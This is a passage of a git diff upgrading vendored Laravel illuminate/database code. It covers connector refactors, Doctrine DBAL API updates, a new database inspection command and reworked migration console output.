string $value + * @return string + */ + protected function escapeBinary($value) + { + throw new RuntimeException('The database connection does not support escaping binary values.'); + } + /** * Determine if the database connection has modified any database records. * @@ -970,6 +1238,16 @@ public function isDoctrineAvailable() return class_exists('Doctrine\DBAL\Connection'); } + /** + * Indicates whether native alter operations will be used when dropping, renaming, or modifying columns, even if Doctrine DBAL is installed. + * + * @return bool + */ + public function usingNativeSchemaOperations() + { + return ! $this->isDoctrineAvailable() || SchemaBuilder::$alwaysUsesNativeSchemaOperationsIfPossible; + } + /** * Get a Doctrine Schema Column instance. * @@ -981,7 +1259,7 @@ public function getDoctrineColumn($table, $column) { $schema = $this->getDoctrineSchemaManager(); - return $schema->listTableDetails($table)->getColumn($column); + return $schema->introspectTable($table)->getColumn($column); } /** @@ -993,11 +1271,7 @@ public function getDoctrineSchemaManager() { $connection = $this->getDoctrineConnection(); - // Doctrine v2 expects one parameter while v3 expects two. 2nd will be ignored on v2... - return $this->getDoctrineDriver()->getSchemaManager( - $connection, - $connection->getDatabasePlatform() - ); + return $connection->createSchemaManager(); } /** @@ -1013,7 +1287,7 @@ public function getDoctrineConnection() $this->doctrineConnection = new DoctrineConnection(array_filter([ 'pdo' => $this->getPdo(), 'dbname' => $this->getDatabaseName(), - 'driver' => method_exists($driver, 'getName') ? $driver->getName() : null, + 'driver' => $driver->getName(), 'serverVersion' => $this->getConfig('server_version'), ]), $driver); @@ -1030,15 +1304,15 @@ public function getDoctrineConnection() /** * Register a custom Doctrine mapping type. * - * @param string $class + * @param Type|class-string $class * @param string $name * @param string $type * @return void * - * @throws \Doctrine\DBAL\DBALException + * @throws \Doctrine\DBAL\Exception * @throws \RuntimeException */ - public function registerDoctrineType(string $class, string $name, string $type): void + public function registerDoctrineType(Type|string $class, string $name, string $type): void { if (! $this->isDoctrineAvailable()) { throw new RuntimeException( @@ -1047,7 +1321,8 @@ public function registerDoctrineType(string $class, string $name, string $type): } if (! Type::hasType($name)) { - Type::addType($name, $class); + Type::getTypeRegistry() + ->register($name, is_string($class) ? new $class() : $class); } $this->doctrineTypeMappings[$name] = $type; @@ -1337,6 +1612,22 @@ public function getQueryLog() return $this->queryLog; } + /** + * Get the connection query log with embedded bindings. + * + * @return array + */ + public function getRawQueryLog() + { + return array_map(fn (array $log) => [ + 'raw_query' => $this->queryGrammar->substituteBindingsIntoRawSql( + $log['query'], + $this->prepareBindings($log['bindings']) + ), + 'time' => $log['time'], + ], $this->getQueryLog()); + } + /** * Clear the query log. * diff --git a/vendor/illuminate/database/ConnectionInterface.php b/vendor/illuminate/database/ConnectionInterface.php index 00b23952a..ee388694a 100644 --- a/vendor/illuminate/database/ConnectionInterface.php +++ b/vendor/illuminate/database/ConnectionInterface.php @@ -19,7 +19,7 @@ public function table($table, $as = null); * Get a new raw query expression. * * @param mixed $value - * @return \Illuminate\Database\Query\Expression + * @return \Illuminate\Contracts\Database\Query\Expression */ public function raw($value); diff --git a/vendor/illuminate/database/ConnectionResolver.php b/vendor/illuminate/database/ConnectionResolver.php index ebfc15c94..dd16ffd65 100644 --- a/vendor/illuminate/database/ConnectionResolver.php +++ b/vendor/illuminate/database/ConnectionResolver.php @@ -7,7 +7,7 @@ class ConnectionResolver implements ConnectionResolverInterface /** * All of the registered connections. * - * @var array + * @var \Illuminate\Database\ConnectionInterface[] */ protected $connections = []; @@ -21,7 +21,7 @@ class ConnectionResolver implements ConnectionResolverInterface /** * Create a new connection resolver instance. * - * @param array $connections + * @param array $connections * @return void */ public function __construct(array $connections = []) diff --git a/vendor/illuminate/database/Connectors/ConnectionFactory.php b/vendor/illuminate/database/Connectors/ConnectionFactory.php index ad4650550..80b25d022 100644 --- a/vendor/illuminate/database/Connectors/ConnectionFactory.php +++ b/vendor/illuminate/database/Connectors/ConnectionFactory.php @@ -177,7 +177,7 @@ protected function createPdoResolver(array $config) protected function createPdoResolverWithHosts(array $config) { return function () use ($config) { - foreach (Arr::shuffle($hosts = $this->parseHosts($config)) as $key => $host) { + foreach (Arr::shuffle($this->parseHosts($config)) as $host) { $config['host'] = $host; try { @@ -218,9 +218,7 @@ protected function parseHosts(array $config) */ protected function createPdoResolverWithoutHosts(array $config) { - return function () use ($config) { - return $this->createConnector($config)->connect($config); - }; + return fn () => $this->createConnector($config)->connect($config); } /** @@ -241,18 +239,13 @@ public function createConnector(array $config) return $this->container->make($key); } - switch ($config['driver']) { - case 'mysql': - return new MySqlConnector; - case 'pgsql': - return new PostgresConnector; - case 'sqlite': - return new SQLiteConnector; - case 'sqlsrv': - return new SqlServerConnector; - } - - throw new InvalidArgumentException("Unsupported driver [{$config['driver']}]."); + return match ($config['driver']) { + 'mysql' => new MySqlConnector, + 'pgsql' => new PostgresConnector, + 'sqlite' => new SQLiteConnector, + 'sqlsrv' => new SqlServerConnector, + default => throw new InvalidArgumentException("Unsupported driver [{$config['driver']}]."), + }; } /** @@ -273,17 +266,12 @@ protected function createConnection($driver, $connection, $database, $prefix = ' return $resolver($connection, $database, $prefix, $config); } - switch ($driver) { - case 'mysql': - return new MySqlConnection($connection, $database, $prefix, $config); - case 'pgsql': - return new PostgresConnection($connection, $database, $prefix, $config); - case 'sqlite': - return new SQLiteConnection($connection, $database, $prefix, $config); - case 'sqlsrv': - return new SqlServerConnection($connection, $database, $prefix, $config); - } - - throw new InvalidArgumentException("Unsupported driver [{$driver}]."); + return match ($driver) { + 'mysql' => new MySqlConnection($connection, $database, $prefix, $config), + 'pgsql' => new PostgresConnection($connection, $database, $prefix, $config), + 'sqlite' => new SQLiteConnection($connection, $database, $prefix, $config), + 'sqlsrv' => new SqlServerConnection($connection, $database, $prefix, $config), + default => throw new InvalidArgumentException("Unsupported driver [{$driver}]."), + }; } } diff --git a/vendor/illuminate/database/Connectors/Connector.php b/vendor/illuminate/database/Connectors/Connector.php index 0fecfb5e2..87c41b28c 100644 --- a/vendor/illuminate/database/Connectors/Connector.php +++ b/vendor/illuminate/database/Connectors/Connector.php @@ -2,7 +2,6 @@ namespace Illuminate\Database\Connectors; -use Doctrine\DBAL\Driver\PDOConnection; use Exception; use Illuminate\Database\DetectsLostConnections; use PDO; @@ -63,25 +62,9 @@ public function createConnection($dsn, array $config, array $options) */ protected function createPdoConnection($dsn, $username, $password, $options) { - if (class_exists(PDOConnection::class) && ! $this->isPersistentConnection($options)) { - return new PDOConnection($dsn, $username, $password, $options); - } - return new PDO($dsn, $username, $password, $options); } - /** - * Determine if the connection is persistent. - * - * @param array $options - * @return bool - */ - protected function isPersistentConnection($options) - { - return isset($options[PDO::ATTR_PERSISTENT]) && - $options[PDO::ATTR_PERSISTENT]; - } - /** * Handle an exception that occurred during connect execution. * diff --git a/vendor/illuminate/database/Connectors/PostgresConnector.php b/vendor/illuminate/database/Connectors/PostgresConnector.php index a507d9ac3..5ec0e7043 100644 --- a/vendor/illuminate/database/Connectors/PostgresConnector.php +++ b/vendor/illuminate/database/Connectors/PostgresConnector.php @@ -2,10 +2,13 @@ namespace Illuminate\Database\Connectors; +use Illuminate\Database\Concerns\ParsesSearchPath; use PDO; class PostgresConnector extends Connector implements ConnectorInterface { + use ParsesSearchPath; + /** * The default PDO connection options. * @@ -42,7 +45,7 @@ public function connect(array $config) // database. Setting this DB timezone is an optional configuration item. $this->configureTimezone($connection, $config); - $this->configureSchema($connection, $config); + $this->configureSearchPath($connection, $config); // Postgres allows an application_name to be set by the user and this name is // used to when monitoring the application with pg_stat_activity. So we'll @@ -101,38 +104,36 @@ protected function configureTimezone($connection, array $config) } /** - * Set the schema on the connection. + * Set the "search_path" on the database connection. * * @param \PDO $connection * @param array $config * @return void */ - protected function configureSchema($connection, $config) + protected function configureSearchPath($connection, $config) { - if (isset($config['schema'])) { - $schema = $this->formatSchema($config['schema']); + if (isset($config['search_path']) || isset($config['schema'])) { + $searchPath = $this->quoteSearchPath( + $this->parseSearchPath($config['search_path'] ?? $config['schema']) + ); - $connection->prepare("set search_path to {$schema}")->execute(); + $connection->prepare("set search_path to {$searchPath}")->execute(); } } /** - * Format the schema for the DSN. + * Format the search path for the DSN. * - * @param array|string $schema + * @param array $searchPath * @return string */ - protected function formatSchema($schema) + protected function quoteSearchPath($searchPath) { - if (is_array($schema)) { - return '"'.implode('", "', $schema).'"'; - } - - return '"'.$schema.'"'; + return count($searchPath) === 1 ? '"'.$searchPath[0].'"' : '"'.implode('", "', $searchPath).'"'; } /** - * Set the schema on the connection. + * Set the application name on the connection. * * @param \PDO $connection * @param array $config @@ -162,12 +163,18 @@ protected function getDsn(array $config) $host = isset($host) ? "host={$host};" : ''; + // Sometimes - users may need to connect to a database that has a different + // name than the database used for "information_schema" queries. This is + // typically the case if using "pgbouncer" type software when pooling. + $database = $connect_via_database ?? $database; + $port = $connect_via_port ?? $port ?? null; + $dsn = "pgsql:{$host}dbname='{$database}'"; // If a port was specified, we will add it to this Postgres DSN connections // format. Once we have done that we are ready to return this connection // string back out for usage, as this has been fully constructed here. - if (isset($config['port'])) { + if (! is_null($port)) { $dsn .= ";port={$port}"; } diff --git a/vendor/illuminate/database/Connectors/SQLiteConnector.php b/vendor/illuminate/database/Connectors/SQLiteConnector.php index 90dc16be2..ddedfbf99 100644 --- a/vendor/illuminate/database/Connectors/SQLiteConnector.php +++ b/vendor/illuminate/database/Connectors/SQLiteConnector.php @@ -2,7 +2,7 @@ namespace Illuminate\Database\Connectors; -use InvalidArgumentException; +use Illuminate\Database\SQLiteDatabaseDoesNotExistException; class SQLiteConnector extends Connector implements ConnectorInterface { @@ -12,7 +12,7 @@ class SQLiteConnector extends Connector implements ConnectorInterface * @param array $config * @return \PDO * - * @throws \InvalidArgumentException + * @throws \Illuminate\Database\SQLiteDatabaseDoesNotExistException */ public function connect(array $config) { @@ -31,7 +31,7 @@ public function connect(array $config) // as the developer probably wants to know if the database exists and this // SQLite driver will not throw any exception if it does not by default. if ($path === false) { - throw new InvalidArgumentException("Database ({$config['database']}) does not exist."); + throw new SQLiteDatabaseDoesNotExistException($config['database']); } return $this->createConnection("sqlite:{$path}", $config, $options); diff --git a/vendor/illuminate/database/Connectors/SqlServerConnector.php b/vendor/illuminate/database/Connectors/SqlServerConnector.php index caefa6846..b6ed47d19 100644 --- a/vendor/illuminate/database/Connectors/SqlServerConnector.php +++ b/vendor/illuminate/database/Connectors/SqlServerConnector.php @@ -29,7 +29,31 @@ public function connect(array $config) { $options = $this->getOptions($config); - return $this->createConnection($this->getDsn($config), $config, $options); + $connection = $this->createConnection($this->getDsn($config), $config, $options); + + $this->configureIsolationLevel($connection, $config); + + return $connection; + } + + /** + * Set the connection transaction isolation level. + * + * https://learn.microsoft.com/en-us/sql/t-sql/statements/set-transaction-isolation-level-transact-sql + * + * @param \PDO $connection + * @param array $config + * @return void + */ + protected function configureIsolationLevel($connection, array $config) + { + if (! isset($config['isolation_level'])) { + return; + } + + $connection->prepare( + "SET TRANSACTION ISOLATION LEVEL {$config['isolation_level']}" + )->execute(); } /** @@ -160,6 +184,10 @@ protected function getSqlSrvDsn(array $config) $arguments['LoginTimeout'] = $config['login_timeout']; } + if (isset($config['authentication'])) { + $arguments['Authentication'] = $config['authentication']; + } + return $this->buildConnectString('sqlsrv', $arguments); } diff --git a/vendor/illuminate/database/Console/DatabaseInspectionCommand.php b/vendor/illuminate/database/Console/DatabaseInspectionCommand.php new file mode 100644 index 000000000..42568fc2c --- /dev/null +++ b/vendor/illuminate/database/Console/DatabaseInspectionCommand.php @@ -0,0 +1,248 @@ + 'string', + 'citext' => 'string', + 'enum' => 'string', + 'geometry' => 'string', + 'geomcollection' => 'string', + 'linestring' => 'string', + 'ltree' => 'string', + 'multilinestring' => 'string', + 'multipoint' => 'string', + 'multipolygon' => 'string', + 'point' => 'string', + 'polygon' => 'string', + 'sysname' => 'string', + ]; + + /** + * The Composer instance. + * + * @var \Illuminate\Support\Composer + */ + protected $composer; + + /** + * Create a new command instance. + * + * @param \Illuminate\Support\Composer|null $composer + * @return void + */ + public function __construct(Composer $composer = null) + { + parent::__construct(); + + $this->composer = $composer ?? $this->laravel->make(Composer::class); + } + + /** + * Register the custom Doctrine type mappings for inspection commands. + * + * @param \Doctrine\DBAL\Platforms\AbstractPlatform $platform + * @return void + */ + protected function registerTypeMappings(AbstractPlatform $platform) + { + foreach ($this->typeMappings as $type => $value) { + $platform->registerDoctrineTypeMapping($type, $value); + } + } + + /** + * Get a human-readable platform name for the given platform. + * + * @param \Doctrine\DBAL\Platforms\AbstractPlatform $platform + * @param string $database + * @return string + */ + protected function getPlatformName(AbstractPlatform $platform, $database) + { + return match (class_basename($platform)) { + 'MySQLPlatform' => 'MySQL <= 5', + 'MySQL57Platform' => 'MySQL 5.7', + 'MySQL80Platform' => 'MySQL 8', + 'PostgreSQL100Platform', 'PostgreSQLPlatform' => 'Postgres', + 'SqlitePlatform' => 'SQLite', + 'SQLServerPlatform' => 'SQL Server', + 'SQLServer2012Platform' => 'SQL Server 2012', + default => $database, + }; + } + + /** + * Get the size of a table in bytes. + * + * @param \Illuminate\Database\ConnectionInterface $connection + * @param string $table + * @return int|null + */ + protected function getTableSize(ConnectionInterface $connection, string $table) + { + return match (true) { + $connection instanceof MySqlConnection => $this->getMySQLTableSize($connection, $table), + $connection instanceof PostgresConnection => $this->getPostgresTableSize($connection, $table), + $connection instanceof SQLiteConnection => $this->getSqliteTableSize($connection, $table), + default => null, + }; + } + + /** + * Get the size of a MySQL table in bytes. + * + * @param \Illuminate\Database\ConnectionInterface $connection + * @param string $table + * @return mixed + */ + protected function getMySQLTableSize(ConnectionInterface $connection, string $table) + { + $result = $connection->selectOne('SELECT (data_length + index_length) AS size FROM information_schema.TABLES WHERE table_schema = ? AND table_name = ?', [ + $connection->getDatabaseName(), + $table, + ]); + + return Arr::wrap((array) $result)['size']; + } + + /** + * Get the size of a Postgres table in bytes. + * + * @param \Illuminate\Database\ConnectionInterface $connection + * @param string $table + * @return mixed + */ + protected function getPostgresTableSize(ConnectionInterface $connection, string $table) + { + $result = $connection->selectOne('SELECT pg_total_relation_size(?) AS size;', [ + $table, + ]); + + return Arr::wrap((array) $result)['size']; + } + + /** + * Get the size of a SQLite table in bytes. + * + * @param \Illuminate\Database\ConnectionInterface $connection + * @param string $table + * @return mixed + */ + protected function getSqliteTableSize(ConnectionInterface $connection, string $table) + { + try { + $result = $connection->selectOne('SELECT SUM(pgsize) AS size FROM dbstat WHERE name=?', [ + $table, + ]); + + return Arr::wrap((array) $result)['size']; + } catch (QueryException) { + return null; + } + } + + /** + * Get the number of open connections for a database. + * + * @param \Illuminate\Database\ConnectionInterface $connection + * @return int|null + */ + protected function getConnectionCount(ConnectionInterface $connection) + { + $result = match (true) { + $connection instanceof MySqlConnection => $connection->selectOne('show status where variable_name = "threads_connected"'), + $connection instanceof PostgresConnection => $connection->selectOne('select count(*) AS "Value" from pg_stat_activity'), + $connection instanceof SqlServerConnection => $connection->selectOne('SELECT COUNT(*) Value FROM sys.dm_exec_sessions WHERE status = ?', ['running']), + default => null, + }; + + if (! $result) { + return null; + } + + return Arr::wrap((array) $result)['Value']; + } + + /** + * Get the connection configuration details for the given connection. + * + * @param string $database + * @return array + */ + protected function getConfigFromDatabase($database) + { + $database ??= config('database.default'); + + return Arr::except(config('database.connections.'.$database), ['password']); + } + + /** + * Ensure the dependencies for the database commands are available. + * + * @return bool + */ + protected function ensureDependenciesExist() + { + return tap(interface_exists('Doctrine\DBAL\Driver'), function ($dependenciesExist) { + if (! $dependenciesExist && confirm('Inspecting database information requires the Doctrine DBAL (doctrine/dbal) package. Would you like to install it?', default: false)) { + $this->installDependencies(); + } + }); + } + + /** + * Install the command's dependencies. + * + * @return void + * + * @throws \Symfony\Component\Process\Exception\ProcessSignaledException + */ + protected function installDependencies() + { + $command = collect($this->composer->findComposer()) + ->push('require doctrine/dbal:^3.5.1') + ->implode(' '); + + $process = Process::fromShellCommandline($command, null, null, null, null); + + if ('\\' !== DIRECTORY_SEPARATOR && file_exists('/dev/tty') && is_readable('/dev/tty')) { + try { + $process->setTty(true); + } catch (RuntimeException $e) { + $this->components->warn($e->getMessage()); + } + } + + try { + $process->run(fn ($type, $line) => $this->output->write($line)); + } catch (ProcessSignaledException $e) { + if (extension_loaded('pcntl') && $e->getSignal() !== SIGINT) { + throw $e; + } + } + } +} diff --git a/vendor/illuminate/database/Console/DbCommand.php b/vendor/illuminate/database/Console/DbCommand.php index c2c459352..c9d3b5290 100644 --- a/vendor/illuminate/database/Console/DbCommand.php +++ b/vendor/illuminate/database/Console/DbCommand.php @@ -34,6 +34,14 @@ public function handle() { $connection = $this->getConnection(); + if (! isset($connection['host']) && $connection['driver'] !== 'sqlite') { + $this->components->error('No host specified for this database connection.'); + $this->line(' Use the [--read] and [--write] options to specify a read or write connection.'); + $this->newLine(); + + return Command::FAILURE; + } + (new Process( array_merge([$this->getCommand($connection)], $this->commandArguments($connection)), null, @@ -184,6 +192,7 @@ protected function getSqlsrvArguments(array $connection) 'password' => ['-P', $connection['password']], 'host' => ['-S', 'tcp:'.$connection['host'] .($connection['port'] ? ','.$connection['port'] : ''), ], + 'trust_server_certificate' => ['-C'], ], $connection)); } diff --git a/vendor/illuminate/database/Console/DumpCommand.php b/vendor/illuminate/database/Console/DumpCommand.php index fe73fb2af..27121281a 100644 --- a/vendor/illuminate/database/Console/DumpCommand.php +++ b/vendor/illuminate/database/Console/DumpCommand.php @@ -9,7 +9,9 @@ use Illuminate\Database\Events\SchemaDumped; use Illuminate\Filesystem\Filesystem; use Illuminate\Support\Facades\Config; +use Symfony\Component\Console\Attribute\AsCommand; +#[AsCommand(name: 'schema:dump')] class DumpCommand extends Command { /** @@ -34,7 +36,7 @@ class DumpCommand extends Command * * @param \Illuminate\Database\ConnectionResolverInterface $connections * @param \Illuminate\Contracts\Events\Dispatcher $dispatcher - * @return int + * @return void */ public function handle(ConnectionResolverInterface $connections, Dispatcher $dispatcher) { @@ -46,15 +48,17 @@ public function handle(ConnectionResolverInterface $connections, Dispatcher $dis $dispatcher->dispatch(new SchemaDumped($connection, $path)); - $this->info('Database schema dumped successfully.'); + $info = 'Database schema dumped'; if ($this->option('prune')) { (new Filesystem)->deleteDirectory( database_path('migrations'), $preserve = false ); - $this->info('Migrations pruned successfully.'); + $info .= ' and pruned'; } + + $this->components->info($info.' successfully.'); } /** @@ -79,7 +83,7 @@ protected function schemaState(Connection $connection) */ protected function path(Connection $connection) { - return tap($this->option('path') ?: database_path('schema/'.$connection->getName().'-schema.dump'), function ($path) { + return tap($this->option('path') ?: database_path('schema/'.$connection->getName().'-schema.sql'), function ($path) { (new Filesystem)->ensureDirectoryExists(dirname($path)); }); } diff --git a/vendor/illuminate/database/Console/Factories/FactoryMakeCommand.php b/vendor/illuminate/database/Console/Factories/FactoryMakeCommand.php index 6233fe29f..ba8df3053 100644 --- a/vendor/illuminate/database/Console/Factories/FactoryMakeCommand.php +++ b/vendor/illuminate/database/Console/Factories/FactoryMakeCommand.php @@ -4,8 +4,10 @@ use Illuminate\Console\GeneratorCommand; use Illuminate\Support\Str; +use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Input\InputOption; +#[AsCommand(name: 'make:factory')] class FactoryMakeCommand extends GeneratorCommand { /** @@ -68,11 +70,9 @@ protected function buildClass($name) $model = class_basename($namespaceModel); - if (Str::startsWith($namespaceModel, $this->rootNamespace().'Models')) { - $namespace = Str::beforeLast('Database\\Factories\\'.Str::after($namespaceModel, $this->rootNamespace().'Models\\'), '\\'); - } else { - $namespace = 'Database\\Factories'; - } + $namespace = $this->getNamespace( + Str::replaceFirst($this->rootNamespace(), 'Database\\Factories\\', $this->qualifyClass($this->getNameInput())) + ); $replace = [ '{{ factoryNamespace }}' => $namespace, @@ -112,7 +112,7 @@ protected function getPath($name) */ protected function guessModelName($name) { - if (Str::endsWith($name, 'Factory')) { + if (str_ends_with($name, 'Factory')) { $name = substr($name, 0, -7); } diff --git a/vendor/illuminate/database/Console/Factories/stubs/factory.stub b/vendor/illuminate/database/Console/Factories/stubs/factory.stub index 3e00f3659..f931493a2 100644 --- a/vendor/illuminate/database/Console/Factories/stubs/factory.stub +++ b/vendor/illuminate/database/Console/Factories/stubs/factory.stub @@ -4,14 +4,17 @@ namespace {{ factoryNamespace }}; use Illuminate\Database\Eloquent\Factories\Factory; +/** + * @extends \Illuminate\Database\Eloquent\Factories\Factory<\{{ namespacedModel }}> + */ class {{ factory }}Factory extends Factory { /** * Define the model's default state. * - * @return array + * @return array */ - public function definition() + public function definition(): array { return [ // diff --git a/vendor/illuminate/database/Console/Migrations/FreshCommand.php b/vendor/illuminate/database/Console/Migrations/FreshCommand.php index 7bfba0d78..f18036f72 100644 --- a/vendor/illuminate/database/Console/Migrations/FreshCommand.php +++ b/vendor/illuminate/database/Console/Migrations/FreshCommand.php @@ -39,12 +39,16 @@ public function handle() $database = $this->input->getOption('database'); - $this->call('db:wipe', array_filter([ + $this->newLine(); + + $this->components->task('Dropping all tables', fn () => $this->callSilent('db:wipe', array_filter([ '--database' => $database, '--drop-views' => $this->option('drop-views'), '--drop-types' => $this->option('drop-types'), '--force' => true, - ])); + ])) == 0); + + $this->newLine(); $this->call('migrate', array_filter([ '--database' => $database, @@ -57,7 +61,7 @@ public function handle() if ($this->laravel->bound(Dispatcher::class)) { $this->laravel[Dispatcher::class]->dispatch( - new DatabaseRefreshed + new DatabaseRefreshed($database, $this->needsSeeding()) ); } diff --git a/vendor/illuminate/database/Console/Migrations/InstallCommand.php b/vendor/illuminate/database/Console/Migrations/InstallCommand.php index d69c2ab6b..901a83bab 100644 --- a/vendor/illuminate/database/Console/Migrations/InstallCommand.php +++ b/vendor/illuminate/database/Console/Migrations/InstallCommand.php @@ -53,7 +53,7 @@ public function handle() $this->repository->createRepository(); - $this->info('Migration table created successfully.'); + $this->components->info('Migration table created successfully.'); } /** diff --git a/vendor/illuminate/database/Console/Migrations/MigrateCommand.php b/vendor/illuminate/database/Console/Migrations/MigrateCommand.php index ea379e3f6..d7a8c9e35 100644 --- a/vendor/illuminate/database/Console/Migrations/MigrateCommand.php +++ b/vendor/illuminate/database/Console/Migrations/MigrateCommand.php @@ -3,12 +3,18 @@ namespace Illuminate\Database\Console\Migrations; use Illuminate\Console\ConfirmableTrait; +use Illuminate\Contracts\Console\Isolatable; use Illuminate\Contracts\Events\Dispatcher; use Illuminate\Database\Events\SchemaLoaded; use Illuminate\Database\Migrations\Migrator; +use Illuminate\Database\SQLiteDatabaseDoesNotExistException; use Illuminate\Database\SqlServerConnection; +use PDOException; +use Throwable; -class MigrateCommand extends BaseCommand +use function Laravel\Prompts\confirm; + +class MigrateCommand extends BaseCommand implements Isolatable { use ConfirmableTrait; @@ -81,10 +87,10 @@ public function handle() // we will use the path relative to the root of this installation folder // so that migrations may be run for any path within the applications. $this->migrator->setOutput($this->output) - ->run($this->getMigrationPaths(), [ - 'pretend' => $this->option('pretend'), - 'step' => $this->option('step'), - ]); + ->run($this->getMigrationPaths(), [ + 'pretend' => $this->option('pretend'), + 'step' => $this->option('step'), + ]); // Finally, if the "seed" option has been given, we will re-run the database // seed task to re-populate the database, which is convenient when adding @@ -107,10 +113,16 @@ public function handle() */ protected function prepareDatabase() { - if (! $this->migrator->repositoryExists()) { - $this->call('migrate:install', array_filter([ - '--database' => $this->option('database'), - ])); + if (! $this->repositoryExists()) { + $this->components->info('Preparing database.'); + + $this->components->task('Creating migration table', function () { + return $this->callSilent('migrate:install', array_filter([ + '--database' => $this->option('database'), + ])) == 0; + }); + + $this->newLine(); } if (! $this->migrator->hasRunAnyMigrations() && ! $this->option('pretend')) { @@ -118,6 +130,98 @@ protected function prepareDatabase() } } + /** + * Determine if the migrator repository exists. + * + * @return bool + */ + protected function repositoryExists() + { + return retry(2, fn () => $this->migrator->repositoryExists(), 0, function ($e) { + try { + if ($e->getPrevious() instanceof SQLiteDatabaseDoesNotExistException) { + return $this->createMissingSqliteDatabase($e->getPrevious()->path); + } + + $connection = $this->migrator->resolveConnection($this->option('database')); + + if ( + $e->getPrevious() instanceof PDOException && + $e->getPrevious()->getCode() === 1049 && + $connection->getDriverName() === 'mysql') { + return $this->createMissingMysqlDatabase($connection); + } + + return false; + } catch (Throwable) { + return false; + } + }); + } + + /** + * Create a missing SQLite database. + * + * @param string $path + * @return bool + */ + protected function createMissingSqliteDatabase($path) + { + if ($this->option('force')) { + return touch($path); + } + + if ($this->option('no-interaction')) { + return false; + } + + $this->components->warn('The SQLite database does not exist: '.$path); + + if (! confirm('Would you like to create it?', default: false)) { + return false; + } + + return touch($path); + } + + /** + * Create a missing MySQL database. + * + * @return bool + */ + protected function createMissingMysqlDatabase($connection) + { + if ($this->laravel['config']->get("database.connections.{$connection->getName()}.database") !== $connection->getDatabaseName()) { + return false; + } + + if (! $this->option('force') && $this->option('no-interaction')) { + return false; + } + + if (! $this->option('force') && ! $this->option('no-interaction')) { + $this->components->warn("The database '{$connection->getDatabaseName()}' does not exist on the '{$connection->getName()}' connection."); + + if (! confirm('Would you like to create it?', default: false)) { + return false; + } + } + + try { + $this->laravel['config']->set("database.connections.{$connection->getName()}.database", null); + + $this->laravel['db']->purge(); + + $freshConnection = $this->migrator->resolveConnection($this->option('database')); + + return tap($freshConnection->unprepared("CREATE DATABASE IF NOT EXISTS `{$connection->getDatabaseName()}`"), function () { + $this->laravel['db']->purge(); + }); + } finally { + $this->laravel['config']->set("database.connections.{$connection->getName()}.database", $connection->getDatabaseName()); + } + } + /** * Load the schema state to seed the initial database schema structure. * @@ -135,20 +239,20 @@ protected function loadSchemaState() return; } - $this->line('Loading stored database schema: '.$path); + $this->components->info('Loading stored database schemas.'); - $startTime = microtime(true); + $this->components->task($path, function () use ($connection, $path) { + // Since the schema file will create the "migrations" table and reload it to its + // proper state, we need to delete it here so we don't get an error that this + // table already exists when the stored database schema file gets executed. + $this->migrator->deleteRepository(); - // Since the schema file will create the "migrations" table and reload it to its - // proper state, we need to delete it here so we don't get an error that this - // table already exists when the stored database schema file gets executed. - $this->migrator->deleteRepository(); - - $connection->getSchemaState()->handleOutputUsing(function ($type, $buffer) { - $this->output->write($buffer); - })->load($path); + $connection->getSchemaState()->handleOutputUsing(function ($type, $buffer) { + $this->output->write($buffer); + })->load($path); + }); - $runTime = number_format((microtime(true) - $startTime) * 1000, 2); + $this->newLine(); // Finally, we will fire an event that this schema has been loaded so developers // can perform any post schema load tasks that are necessary in listeners for @@ -156,8 +260,6 @@ protected function loadSchemaState() $this->dispatcher->dispatch( new SchemaLoaded($connection, $path) ); - - $this->line('Loaded stored database schema. ('.$runTime.'ms)'); } /** diff --git a/vendor/illuminate/database/Console/Migrations/MigrateMakeCommand.php b/vendor/illuminate/database/Console/Migrations/MigrateMakeCommand.php index 95c3a206e..598334836 100644 --- a/vendor/illuminate/database/Console/Migrations/MigrateMakeCommand.php +++ b/vendor/illuminate/database/Console/Migrations/MigrateMakeCommand.php @@ -2,11 +2,12 @@ namespace Illuminate\Database\Console\Migrations; +use Illuminate\Contracts\Console\PromptsForMissingInput; use Illuminate\Database\Migrations\MigrationCreator; use Illuminate\Support\Composer; use Illuminate\Support\Str; -class MigrateMakeCommand extends BaseCommand +class MigrateMakeCommand extends BaseCommand implements PromptsForMissingInput { /** * The console command signature. @@ -18,7 +19,7 @@ class MigrateMakeCommand extends BaseCommand {--table= : The table to migrate} {--path= : The location where the migration file should be created} {--realpath : Indicate any provided migration file paths are pre-resolved absolute paths} - {--fullpath : Output the full path of the migration}'; + {--fullpath : Output the full path of the migration (Deprecated)}'; /** * The console command description. @@ -38,6 +39,8 @@ class MigrateMakeCommand extends BaseCommand * The Composer instance. * * @var \Illuminate\Support\Composer + * + * @deprecated Will be removed in a future Laravel version. */ protected $composer; @@ -92,8 +95,6 @@ public function handle() // the migration out, we will dump-autoload for the entire framework to // make sure that the migrations are registered by the class loaders. $this->writeMigration($name, $table, $create); - - $this->composer->dumpAutoloads(); } /** @@ -102,7 +103,7 @@ public function handle() * @param string $name * @param string $table * @param bool $create - * @return string + * @return void */ protected function writeMigration($name, $table, $create) { @@ -110,11 +111,7 @@ protected function writeMigration($name, $table, $create) $name, $this->getMigrationPath(), $table, $create ); - if (! $this->option('fullpath')) { - $file = pathinfo($file, PATHINFO_FILENAME); - } - - $this->line("Created Migration: {$file}"); + $this->components->info(sprintf('Migration [%s] created successfully.', $file)); } /** @@ -132,4 +129,16 @@ protected function getMigrationPath() return parent::getMigrationPath(); } + + /** + * Prompt for missing input arguments using the returned questions. + * + * @return array + */ + protected function promptForMissingArgumentsUsing() + { + return [ + 'name' => ['What should the migration be named?', 'E.g. create_flights_table'], + ]; + } } diff --git a/vendor/illuminate/database/Console/Migrations/RefreshCommand.php b/vendor/illuminate/database/Console/Migrations/RefreshCommand.php index 2073cd997..5dff6467a 100644 --- a/vendor/illuminate/database/Console/Migrations/RefreshCommand.php +++ b/vendor/illuminate/database/Console/Migrations/RefreshCommand.php @@ -67,7 +67,7 @@ public function handle() if ($this->laravel->bound(Dispatcher::class)) { $this->laravel[Dispatcher::class]->dispatch( - new DatabaseRefreshed + new DatabaseRefreshed($database, $this->needsSeeding()) ); } diff --git a/vendor/illuminate/database/Console/Migrations/ResetCommand.php b/vendor/illuminate/database/Console/Migrations/ResetCommand.php index 1f2babbc8..c5952fa05 100644 --- a/vendor/illuminate/database/Console/Migrations/ResetCommand.php +++ b/vendor/illuminate/database/Console/Migrations/ResetCommand.php @@ -60,7 +60,7 @@ public function handle() // start trying to rollback and re-run all of the migrations. If it's not // present we'll just bail out with an info message for the developers. if (! $this->migrator->repositoryExists()) { - return $this->comment('Migration table not found.'); + return $this->components->warn('Migration table not found.'); } $this->migrator->setOutput($this->output)->reset( diff --git a/vendor/illuminate/database/Console/Migrations/RollbackCommand.php 